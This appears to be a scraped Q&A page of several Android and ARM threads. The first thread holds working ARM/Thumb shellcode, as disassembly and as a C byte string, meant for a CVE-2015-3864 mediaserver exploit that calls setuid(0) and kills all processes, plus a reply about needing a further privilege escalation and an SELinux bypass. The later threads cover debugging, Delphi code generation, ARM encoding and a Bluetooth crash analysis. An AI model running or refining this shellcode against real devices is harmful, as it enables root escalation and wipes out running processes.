I write an exploit for a vulnerability in mediaserver in android(CVE-2015-3864). The goal is running a shellcode with root privilege(such as kill all processes). every steps of exploit are working as expected until it reaches the shell code(at this time the shellcode is loaded in mediaserver virtual memory and rwx permission is granted to it). Shell code is as follows:
1) e28f3001 add r3, pc, #1 ; 0x1
2) e12fff13 bx r3
3) 1b24 subs r4, r4, r4
4) 1c20 adds r0, r4, #0
5) 2717 movs r7, #23
6) df01 svc 1
7) 1a92 subs r2, r2, r2
8) 1c10 adds r0, r2, #0
9) 3801 subs r0, #1
10) 2109 movs r1, #9
11) 2725 movs r7, #37
12) df01 svc 1
lines 1 and 2 is a switch between arm mode and thumb mode. lines 3 to 6 is setuid(0) and lines 7 to 12 kill all running processes.
I debug the exploit with IDA and i found out that the shellscript executed until line 12 ( all the register have the expected values which are defined in the shellcode for example r7 is 37).
MY SPECIFIC PROBLEM IS : shellcode does not execute and has no impact on my device.
for a test case i write a program and run the shellcode as a function pointer like below:
`char *SC = "\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x24\x1b\x20\x1c"
"\x17\x27\x01\xdf"
"\x92\x1a\x10\x1c"
"\x01\x38\x09\x21"
"\x25\x27\x01\xdf"`
`
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC))
(*(void(*)()) SC)()
return 0
}`
i copied this binary to /system/bin and grant exactly the same permission as mediaserver has. i run the binary with su permission and it works! all the processes were killed.
MY SPECIFIC QUESTION IS : Why shellcode can not be executed in the context of mediaserver but it can be executed independently?
please help, i really stuck in this state! if the question is unclear, feedback me to explain it more.
thank in advance
I think you need to elevate the privilege of mediaserver(user media) for kill all process(then you need another vulnerability). There is another problem due to SELinux sandbox restrictions this means that the mediaserver process whe exploit libstagefright is protected by SELinux policy and the code execution takes place in a restrictive sandbox. In other word you should be find a way for SELinux bypass, in nccgroup presentation you can find more details.
See also this good paper
Related
I'm doing native debugging in Android Studio 1.5. The problem is that the lldb looks at the wrong frame (the bottom-most) and thus does not show me the correct register values.
select frame
Does not seem to have any effect:
(lldb) bt
* thread #1: tid = 30637, 0x400e429e libc.sostrncpy, name = 'WHATEVER', stop reason = breakpoint 2.1
frame #0: 0x400e429e libc.sostrncpy
* frame #1: 0x406ba1b0 libicuuc.so
(lldb) frame info
frame #1: 0x406ba1b0 libicuuc.so
(lldb) frame select 0
frame #0: 0x400e429e libc.so`strncpy
libc.so`strncpy:
-> 0x400e429e <+0>: push {r4, lr}
0x400e42a0 <+2>: cbz r2, 0x400e42c4 ; <+38>
0x400e42a2 <+4>: subs r1, #0x1
0x400e42a4 <+6>: mov r3, r0
(lldb) frame info
frame #1: 0x406ba1b0 libicuuc.so
(lldb) register read
General Purpose Registers:
r4 = 0x40773ed4
r5 = 0x407762a8
r6 = 0x00000000
r7 = 0x40745eb0
r8 = 0xbe9f2d30
r9 = 0xbe9f2b20
r10 = 0x400f8384 libc.so`__stack_chk_guard
r11 = 0x77205d00
sp = 0xbe9f2d30
lr = 0x406ba1b1
pc = 0x75cdbd38
cpsr = 0x200b0030
5 registers were unavailable.
Any ideas/suggestions?
It sounds like Android Studio is resetting the frame after each command - probably to keep it in sync with what the UI is showing. You selected frame 0, but then your frame info command, which should show frame 0's info, shows frame 1's instead.
If you select some frame in the Android Studio UI, and then do frame info in the console, does it show the frame you selected in the UI? If that works then register read should also report the correct frame's registers, so you can use that as a work around for now.
If Android Studio has a bug reporter, you might file a bug about this issue. lldb has support for keeping a UI and the command line in sync, but the UI has to adopt it.
I have searched a lot of but couldn't find any usefull content. I have to apply Logical or Physical port security to my application. Please guide me of when to start?
was able to see which app had an open port using standard linux knowledge.
Install terminal emulator or do an adb shell and execute the following:
shell#android:/ $ cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:1C23 00000000:0000 0A 00000000:00000000 00:00000000 00000000 1001 0 2111 1 e22cc000 300 0 0 2 -1
The important stuff above is:
0100007F:1C23 listen IP-address:port in hex notation, here 127.0.0.1:7203
00000000:0000 remote address empty (listening)
1001 uid of the app
You can map the uid list to apps via How to know app name by UID
Ref :
Update 2017-05-17. I no longer work for the company where this question originated, and do not have access to Delphi XEx. While I was there, the problem was solved by migrating to mixed FPC+GCC (Pascal+C), with NEON intrinsics for some routines where it made a difference. (FPC+GCC is highly recommended also because it enables using standard tools, particularly Valgrind.) If someone can demonstrate, with credible examples, how they are actually able to produce optimized ARM code from Delphi XEx, I'm happy to accept the answer.
Embarcadero's Delphi compilers use an LLVM backend to produce native ARM code for Android devices. I have large amounts of Pascal code that I need to compile into Android applications and I would like to know how to make Delphi generate more efficient code. Right now, I'm not even talking about advanced features like automatic SIMD optimizations, just about producing reasonable code. Surely there must be a way to pass parameters to the LLVM side, or somehow affect the result? Usually, any compiler will have many options to affect code compilation and optimization, but Delphi's ARM targets seem to be just "optimization on/off" and that's it.
LLVM is supposed to be capable of producing reasonably tight and sensible code, but it seems that Delphi is using its facilities in a weird way. Delphi wants to use the stack very heavily, and it generally only utilizes the processor's registers r0-r3 as temporary variables. Perhaps the craziest of all, it seems to be loading normal 32 bit integers as four 1-byte load operations. How to make Delphi produce better ARM code, and without the byte-by-byte hassle it is making for Android?
At first I thought the byte-by-byte loading was for swapping byte order from big-endian, but that was not the case, it is really just loading a 32 bit number with 4 single-byte loads.* It might be to load the full 32 bits without doing an unaligned word-sized memory load. (whether it SHOULD avoid that is another thing, which would hint to the whole thing being a compiler bug)*
Let's look at this simple function:
function ReadInteger(APInteger : PInteger) : Integer;
begin
Result := APInteger^;
end;
Even with optimizations switched on, Delphi XE7 with update pack 1, as well as XE6, produce the following ARM assembly code for that function:
Disassembly of section .text._ZN16Uarmcodetestform11ReadIntegerEPi:
00000000 <_ZN16Uarmcodetestform11ReadIntegerEPi>:
0: b580 push {r7, lr}
2: 466f mov r7, sp
4: b083 sub sp, #12
6: 9002 str r0, [sp, #8]
8: 78c1 ldrb r1, [r0, #3]
a: 7882 ldrb r2, [r0, #2]
c: ea42 2101 orr.w r1, r2, r1, lsl #8
10: 7842 ldrb r2, [r0, #1]
12: 7803 ldrb r3, [r0, #0]
14: ea43 2202 orr.w r2, r3, r2, lsl #8
18: ea42 4101 orr.w r1, r2, r1, lsl #16
1c: 9101 str r1, [sp, #4]
1e: 9000 str r0, [sp, #0]
20: 4608 mov r0, r1
22: b003 add sp, #12
24: bd80 pop {r7, pc}
Just count the number of instructions and memory accesses Delphi needs for that. And constructing a 32 bit integer from 4 single-byte loads... If I change the function a little bit and use a var parameter instead of a pointer, it is slightly less convoluted:
Disassembly of section .text._ZN16Uarmcodetestform14ReadIntegerVarERi:
00000000 <_ZN16Uarmcodetestform14ReadIntegerVarERi>:
0: b580 push {r7, lr}
2: 466f mov r7, sp
4: b083 sub sp, #12
6: 9002 str r0, [sp, #8]
8: 6801 ldr r1, [r0, #0]
a: 9101 str r1, [sp, #4]
c: 9000 str r0, [sp, #0]
e: 4608 mov r0, r1
10: b003 add sp, #12
12: bd80 pop {r7, pc}
I won't include the disassembly here, but for iOS, Delphi produces identical code for the pointer and var parameter versions, and they are almost but not exactly the same as the Android var parameter version.
Edit: to clarify, the byte-by-byte loading is only on Android. And only on Android, the pointer and var parameter versions differ from each other. On iOS both versions generate exactly the same code.
For comparison, here's what FPC 2.7.1 (SVN trunk version from March 2014) thinks of the function with optimization level -O2. The pointer and var parameter versions are exactly the same.
Disassembly of section .text.n_p$armcodetest_$$_readinteger$pinteger$$longint:
00000000 <P$ARMCODETEST_$$_READINTEGER$PINTEGER$$LONGINT>:
0: 6800 ldr r0, [r0, #0]
2: 46f7 mov pc, lr
I also tested an equivalent C function with the C compiler that comes with the Android NDK.
int ReadInteger(int *APInteger)
{
return *APInteger;
}
And this compiles into essentially the same thing FPC made:
Disassembly of section .text._Z11ReadIntegerPi:
00000000 <_Z11ReadIntegerPi>:
0: 6800 ldr r0, [r0, #0]
2: 4770 bx lr
We are investigating the issue. In short, it depends on the potential mis-alignment (to 32 boundary) of the Integer referenced by a pointer. Need a little more time to have all of the answers... and a plan to address this.
Marco Cantù, moderator on Delphi Developers
Also reference Why are the Delphi zlib and zip libraries so slow under 64 bit? as Win64 libraries are shipped built without optimizations.
In the QP Report: RSP-9922
Bad ARM code produced by the compiler, $O directive ignored?, Marco added following explanation:
There are multiple issues here:
As indicated, optimization settings apply only to entire unit files and not to individual functions. Simply put, turning optimization on and off in the same file will have no effect.
Furthermore, simply having "Debug information" enabled turns off optimization. Thus, when one is debugging, explicitly turning on optimizations will have no effect. Consequently, the CPU view in the IDE will not be able to display a disassembled view of optimized code.
Third, loading non-aligned 64bit data is not safe and does result in errors, hence the separate 4 one byte operations that are needed in given scenarios.
So, I knew nothing about ARM instructions and have only just started trying to understand it. I've looked up a bit on ARM and some of the better links were these:
Converting very simple ARM instructions to binary/hex
http://simplemachines.it/doc/arm_inst.pdf
According to the first link, instructions have the following format and are 32-bits:
[cond][00][immediate][opcode][alerts condition codes?][Rn][Rd][Operand 2]
However, when I disassembled some .so files, I saw that most some of the instructions were 16 bits and had a different format.
Why the discrepancy? Is there a spec. for this?
An example would be how it encodes mov.
A simple mov r0 #255 is 20ff, only 16 bits as opposed to 32. Strange (to me).
As I understand it, you can't normally specify an entire 32-bit value in one instruction. I don't know the syntax for assemblers to compile.
What I've been doing is editing existing .so files using a hex editor.. And running them.
I tried to AND two values but just couldn't do it, something like:
mov r0 #63 ;0x003f
mov r1 #16896 ;0x4200
and r0, r0, r1, lsl #8 ;should be 0x423f at this point
mov r15, r14 ;method returns at this point, right?
Except, I didn't have an assembler and had to do it like this:
Find method that returns int in disassembled .so file
Over-write entries
Run and see output
So, this is what I got:
mov r0 0x003f - 1110 00 1 1101 0 0000 0000 0000 00111111 - e3a0 003f
mov r1 0x0042 - 1110 00 1 1101 0 0000 0001 0000 01000010 - e3a0 1042
and r0, r0, r1, lsl #8 - 1110 00 0 0000 0 0000 0000 00001000 0001 - e000 0081
mov r15, r14 - 1110 00 0 1101 0 0000 1111 0000 0000 1110 - e1a0f00e
So.. Yeah, I thought about instructions, encoded them using a table, used a calculator to convert it into hex, used a hex editor, transferred to my phone and ran the app..
And I just kept getting a zero when the method was called. Am I missing something here?
So..
Yeah.
Why does android's ARM seem to have 16 bit instructions mixed with 32 bit instructions and why isn't my little attempt working?
Do realize that when you say 'ARM instructions' that isn't just one instruction set but a multitude depending on the architecture and what extensions are supported. The document you linked to starts off by mentioning architecture v4 which if you check your favorite wiki for 'ARM architecture' - it would point out that v4 is a 'legacy' architecture.
Android itself started support on ARMv6 with most modern devices running ARMv7 or ARMv7a. While I don't know for sure I would think that the 16 bit instructions are Thumb2 and not the original Thumb extension which was intended to improve code density as ARM was designing for the embedded market of 10 to 20 years ago where a megabyte would be a lot of memory.
If you are learning, I would reference ARM's documentation available at their website:
http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0406b/index.html
and possibly look at the ARM instructions coming out of gcc:
http://gcc.gnu.org/onlinedocs/gcc/ARM-Options.html
and get a cross-compiler for ARM setup so that you can take a higher level language like C and generate ARM binaries.
I have a bunch of various Android phones in front of me all running 4.3/4.4 and they all seem to be suffering from some bug in Bluetooth. The app I am running is simply scanning for other bluetooth devices around it using this callback: http://developer.android.com/reference/android/bluetooth/BluetoothAdapter.LeScanCallback.html
Just LogCatting the data and still having problems...
Does anyone know about this bug and have a fix for it? I really need to get bluetooth scanning stable for a deadline I have tomorrow for a demo of my application...
Thanks.
EDIT: Supposedly in 4.4.3 (or 4.4.4) this was resolved. (Of course the day of our presentation for the project...did us no good). The main issue was the XML file keeping track of mac addresses growing over the size of 2000 and then crashing...a system reset would clear the xml file, thus solving the problem temporarily.
This is a bug in the Android bluetooth code which does not appear to have a resolution at present. Since other people keep finding this as well, I'm going to post what I found when tracing the problem through the bluetooth stack, even though it cannot really be applied as a resolution unless one is prepared to make major changes to an AOSP-based install.
Fundamentally, the problem is a SIGSEGV in btif_config.c at find_add_node() when alloc_node() fails after hearing too many unique BTLE hardware addresses.
Informative part of stack trace
D/BtGatt.btif(22509): btif_gattc_upstreams_evt: Event 4096
D/BtGatt.btif(22509): btif_gattc_add_remote_bdaddr device added idx=1
D/BtGatt.btif(22509): btif_gattc_update_properties BLE device name=beacon len=6 dev_type=2
F/libc (22509): Fatal signal 11 (SIGSEGV) at 0x00000000 (code=1), thread 22530 (BTIF)
I/DEBUG ( 171): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 171): Build fingerprint: 'google/occam/mako:4.4.2/KOT49H/937116:user/release-keys'
I/DEBUG ( 171): Revision: '11'
I/DEBUG ( 171): pid: 22509, tid: 22530, name: BTIF >>> com.android.bluetooth <<<
I/DEBUG ( 171): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 00000000
I/DEBUG ( 171): r0 ffffffff r1 00007d00 r2 00007c60 r3 74c7cf00
I/DEBUG ( 171): r4 74c7cf10 r5 00000000 r6 756f95a8 r7 7503c671
I/DEBUG ( 171): backtrace:
I/DEBUG ( 171): #00 pc 0004e68c /system/lib/hw/bluetooth.default.so
I/DEBUG ( 171): #01 pc 0004ea65 /system/lib/hw/bluetooth.default.so (btif_config_set+156)
Disassembling, the code in question is this rather obviously problematic series of clearing r5 and then attempting to de-reference it as a base pointer:
4e68a: 2500 movs r5, #0
4e68c: 6829 ldr r1, [r5, #0]
4e68e: b919 cbnz r1, 4e698 <btif_gattc_test_command_impl+0x74c>
4e690: 4630 mov r0, r6
4e692: f7dd ef78 blx 2c584 <strdup#plt>
This corresponds to the “if(!node->name)” check at the end of find_add_node()
static cfg_node* find_add_node(cfg_node* p, const char* name)
{
int i = -1;
cfg_node* node = NULL;
if((i = find_inode(p, name)) < 0)
{
if(!(node = find_free_node(p)))
{
int old_size = alloc_node(p, CFG_GROW_SIZE);
if(old_size >= 0)
{
i = GET_NODE_COUNT(old_size);
node = &p->child[i];
ADD_CHILD_COUNT(p, 1);
} /* else clause to handle failure of alloc_node() is missing here */
} else ADD_CHILD_COUNT(p, 1);
}
else node = &p->child[i];
if(!node->name) /* this will SIGSEGV if node is still NULL */
node->name = strdup(name);
return node;
}
Specifically, there is no else clause to handle the failure of alloc_node(), so when that happens (presumably due to running out of storage after hearing too many device addresses) the code falls through and attempts to dereference the name member of the node pointer without ever having set it to a non-null address.
A fix would presumably need to involve:
non-crash handling of this error case when a new record cannot be allocated
more aggressive discarding of past-heard addresses when new ones keep being heard and the number of records being stored becomes unreasonable
Someone just opened an issue: https://code.google.com/p/android/issues/detail?id=67272 . Any supporting evidence should go there and hopefully Google fixes this in next release.
This is probably a rare cause, but I had this issue when trying to use an L Tone with my Galaxy Nexus. I tried various solutions, but nothing worked, then I remembered that I installed an app (in my rooted phone) that enabled Bluetooth LE (Normally 4.3 on Galaxy Nexus doesn't have access). Once I uninstalled the files the app installed, it seems to be working fine.
So, if thing aren't working still.. ask yourself if you've done anything custom on the phone that might be conflicting.
Fix that worked for my S4 (i9500) :
After installing a custom ROM for Android 5.1.1, I started facing this 'Bluetooth stopped' issue. Since my phone was rooted, I installed 'Root Uninstaller' app and FROZE bluetooth services. I haven't had any issues after that. But again I am not sure if my bluetooth is working properly. It's just that I dont get those annoying pop-ups anymore.
Hope this helps someone !